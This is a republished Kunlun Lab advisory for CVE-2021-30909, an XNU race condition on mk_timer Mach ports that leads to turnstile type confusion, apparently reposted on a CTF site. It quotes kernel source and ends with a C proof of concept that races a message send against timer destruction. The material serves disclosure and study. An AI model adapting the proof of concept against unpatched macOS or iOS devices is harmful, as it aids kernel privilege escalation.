XNU race condition leads to type confusion

渗透技巧 2年前 (2022) admin
968 0 0
  • 标题
    XNU race condition leads to type confusion
  • 报告编号
    CBKL-2021-0027
  • 报告日期
    2021-08-16
  • 更新日期
    2022-01-10
  • 厂商
    Apple
  • 影响产品
    macOS, iOS
  • CVE编号
    CVE-2021-30909
  • CVSS分数
  • 已报告天数

漏洞描述

This issue is about pre-allocated message of Mach port in
XNU. This kind of feature was often used by ianbeer in his
iOS kernel exploits. Apple might realized that it should
not be exposed to developers and denied the construction
of pre-allocated messages from userspace.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// mach_port_allocate_full()
/*
 * Don't actually honor prealloc requests from user-space
 * (for security reasons, and because it isn't guaranteed anyway).
 * Keep old errors for legacy reasons.
 */
if (qosp->prealloc) {
    if (qosp->len > MACH_MSG_SIZE_MAX - MAX_TRAILER_SIZE) {
        return KERN_RESOURCE_SHORTAGE;
    }
    if (right != MACH_PORT_RIGHT_RECEIVE) {
        return KERN_INVALID_VALUE;
    }
    qosp->prealloc = 0;
}

The kernel doesn’t allow users to create per-allocated
message ports, but we could create such kinds ports indirectly.
mk_timer is kernel object which is bound to Mach port
with pre-allocated message and of course the port can be
exported to users.
On the other hand, the port even with kobject set is
still normal port because the receiver is not ipc_kernel.
That said, the messages sent to these ports will be pushed
to the message queues rather than the kernel.

The root cause of this issue is that the port is not locked
while fetching the turnstile object from it.

Here I’ll take ipc_port_send_update_inheritor() as an
example.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void
ipc_port_send_update_inheritor(
	ipc_port_t port,
	struct turnstile *send_turnstile,
	turnstile_update_flags_t flags)
{
	ipc_mqueue_t mqueue = &port->ip_messages;
	turnstile_inheritor_t inheritor = TURNSTILE_INHERITOR_NULL;
	struct knote *kn;
	turnstile_update_flags_t inheritor_flags = TURNSTILE_INHERITOR_TURNSTILE;

	imq_held(mqueue);

	if (!ip_active(port)) {
		/* this port is no longer active, it should not push anywhere */
	} else if (port->ip_specialreply) {
		/* Case 1. */
		if (port->ip_sync_bootstrap_checkin && prioritize_launch) {
			inheritor = port->ip_messages.imq_srp_owner_thread;
			inheritor_flags = TURNSTILE_INHERITOR_THREAD;
		}
	} else if (port->ip_receiver_name == MACH_PORT_NULL &&
	    port->ip_destination != NULL) {
		/* Case 2. */
		inheritor = port_send_turnstile(port->ip_destination);
	} else if (ipc_port_watchport_elem(port) != NULL) {
		/* Case 3. */
		if (prioritize_launch) {
			assert(port->ip_sync_link_state == PORT_SYNC_LINK_ANY);
			inheritor = ipc_port_get_watchport_inheritor(port);
			inheritor_flags = TURNSTILE_INHERITOR_THREAD;
		}
	} else if (port->ip_sync_link_state == PORT_SYNC_LINK_WORKLOOP_KNOTE) {
		/* Case 4. */
		inheritor = filt_ipc_kqueue_turnstile(mqueue->imq_inheritor_knote);
	} else if (port->ip_sync_link_state == PORT_SYNC_LINK_WORKLOOP_STASH) {
		/* Case 5. */
		inheritor = mqueue->imq_inheritor_turnstile;
	} else if (port->ip_sync_link_state == PORT_SYNC_LINK_RCV_THREAD) {
		/* Case 6. */
		if (prioritize_launch) {
			inheritor = port->ip_messages.imq_inheritor_thread_ref;
			inheritor_flags = TURNSTILE_INHERITOR_THREAD;
		}
	} else if ((kn = SLIST_FIRST(&mqueue->imq_klist))) {
		/* Case 7. Push on a workloop that is interested */
		if (filt_machport_kqueue_has_turnstile(kn)) {
			assert(port->ip_sync_link_state == PORT_SYNC_LINK_ANY);
			inheritor = filt_ipc_kqueue_turnstile(kn);
		}
	}

	turnstile_update_inheritor(send_turnstile, inheritor,
	    flags | inheritor_flags);
}

In case 2, if the receiver_name is null and the desti-
nation exists, the member object turnstile will be fetched
from the port’s destination whose type is Mach port. That
said, if the current port’s receive right is being sent to
other port, XNU names the receiver ip_destination, kernel
will fetch the turnstile from the ip_destination rather
than current port.
First we can say that the lock for the destination port
is not held at this time and this gives us the chance to race
to release the turnstile of the destination. But if you
ever read the code of this module you will find it makes no
sense, because the current port is bound to the destination
and you cannot release the destination’s turnstile while
the current port’s receive right is still in destination’s
message queue.
But if we take a deep look into port_send_turnstile we
could find something interesting.

1
#define port_send_turnstile(port)   (IP_PREALLOC(port) ? (port)->ip_premsg->ikm_turnstile : (port)->ip_send_turnstile)

IP_PREALLOC tests if the port has pre-allocated message
and fetches the turnstile respectively. This is because
both ip_premsg and ip_send_turnstile shares the same union.
Next we could seek to know that how the PREALLOC flag
affects the flow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (IP_PREALLOC(port)) {
		ipc_port_t inuse_port;

		kmsg = port->ip_premsg;
		assert(kmsg != IKM_NULL);
		inuse_port = ikm_prealloc_inuse_port(kmsg);
		ipc_kmsg_clear_prealloc(kmsg, port);

		imq_lock(&port->ip_messages);
		ipc_port_send_turnstile_recompute_push_locked(port);
		/* mqueue and port unlocked */

		if (inuse_port != IP_NULL) {
			assert(inuse_port == port);
		} else {
			ipc_kmsg_free(kmsg);
		}
} 

In ipc_port_destroy(), if the port is set PREALLOC then
the kmsg will be replaced by the turnstile itself.
We can conclude a race case as follow:

  1. Thread 1 executes to port_send_turnstile, fetches the
    destination and tests it is really a pre-allocated
    message port.
  2. Thread 2 executes to ipc_kmsg_clear_prealloc() and re-
    places the kmsg with turnstile
  3. Thread 1 fetches the turnstile from ip_premsg which now
    is actually a turnstile, lead to turnstile in turnstile.

发现者

Zweig(@realBrightiup) of Kunlun Lab

漏洞影响

A malicious application may be able to elevate privileges

厂商链接

https://support.apple.com/en-us/HT212867

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#include <assert.h>
#include <errno.h>
#include <mach/mach.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

mach_port_t mk_timer_create(void);
kern_return_t mk_timer_destroy(mach_port_t timer);
mach_port_t thread_get_special_reply_port(void);

typedef struct race_th_args_s race_th_args_t;
struct race_th_args_s {
    int start;
    mach_port_t move_port;
    mach_port_t sr_port;
    mach_port_t timer;
};

void *th_send_link(void *arg) {

    race_th_args_t *rta = (race_th_args_t *)arg;
    while (!rta->start);

    struct {
        mach_msg_header_t header;
        uint64_t data;
    } link_sr_msg = {
        .header =
            {
                .msgh_remote_port = rta->move_port,
                .msgh_local_port = rta->sr_port,
                .msgh_bits =
                    MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, 0, 0),
                .msgh_voucher_port = MACH_PORT_NULL,
                .msgh_id = 0x99999999,
                .msgh_size = sizeof(link_sr_msg),
            },
        .data = 0x6666666666666666,
    };

    kern_return_t __unused kr =
        mach_msg(&link_sr_msg.header,
                 MACH_SEND_MSG | MACH_SEND_OVERRIDE | MACH_SEND_SYNC_OVERRIDE |
                     MACH_SEND_SYNC_BOOTSTRAP_CHECKIN,
                 sizeof(link_sr_msg), 0, MACH_PORT_NULL, 0, MACH_PORT_NULL);
    /*assert(kr == KERN_SUCCESS);*/

    return NULL;
}

void *th_destroy(void *arg) {

    race_th_args_t *rta = (race_th_args_t *)arg;
    while (!rta->start);

    usleep(2);
    mk_timer_destroy(rta->timer);
    return NULL;
}

int go(void) {

    while (1) {

        mach_port_t timer = mk_timer_create();
        printf("[*] timer = 0x%x\n", timer);

        mach_port_t move_port = MACH_PORT_NULL;
        kern_return_t kr =
            mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &move_port);
        assert(kr == KERN_SUCCESS);
        kr =
            mach_port_insert_right(mach_task_self(), move_port, move_port, MACH_MSG_TYPE_MAKE_SEND);

        mach_port_t sr_port = thread_get_special_reply_port();
        /*printf("[*] sr_port = 0x%x\n", sr_port);*/

        struct {
            mach_msg_header_t header;
            mach_msg_body_t body;
            mach_msg_port_descriptor_t port;
        } move_right_msg = {
            .header =
                {
                    .msgh_remote_port = timer,
                    .msgh_local_port = MACH_PORT_NULL,
                    .msgh_bits =
                        MACH_MSGH_BITS_SET(MACH_MSG_TYPE_MAKE_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX),
                    .msgh_voucher_port = MACH_PORT_NULL,
                    .msgh_id = 0x88888888,
                    .msgh_size = sizeof(move_right_msg),
                },
            .body =
                {
                    .msgh_descriptor_count = 1,
                },
            .port =
                {
                    .name = move_port,
                    .disposition = MACH_MSG_TYPE_MOVE_RECEIVE,
                    .type = MACH_MSG_PORT_DESCRIPTOR,
                },
        };

        kr = mach_msg(&move_right_msg.header, MACH_SEND_MSG, sizeof(move_right_msg), 0,
                      MACH_PORT_NULL, 0, MACH_PORT_NULL);
        assert(kr == KERN_SUCCESS);

        race_th_args_t rta = {
            .start = 0,
            .move_port = move_port,
            .sr_port = sr_port,
            .timer = timer,
        };

        pthread_t ths[2];
        pthread_create(&ths[0], NULL, th_send_link, &rta);
        pthread_create(&ths[1], NULL, th_destroy, &rta);

        usleep(5);

        rta.start = 1;

        for (size_t i = 0; i < 2; i++) {
            pthread_join(ths[i], NULL);
        }
        mach_port_destroy(mach_task_self(), timer);
        mach_port_destroy(mach_task_self(), move_port);
        mach_port_destroy(mach_task_self(), sr_port);
    }

    return 0;
}

 

 

 

原文始发于昆仑实验室: XNU race condition leads to type confusion

 

版权声明:admin 发表于 2022年1月11日 下午7:18。
转载请注明:XNU race condition leads to type confusion | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...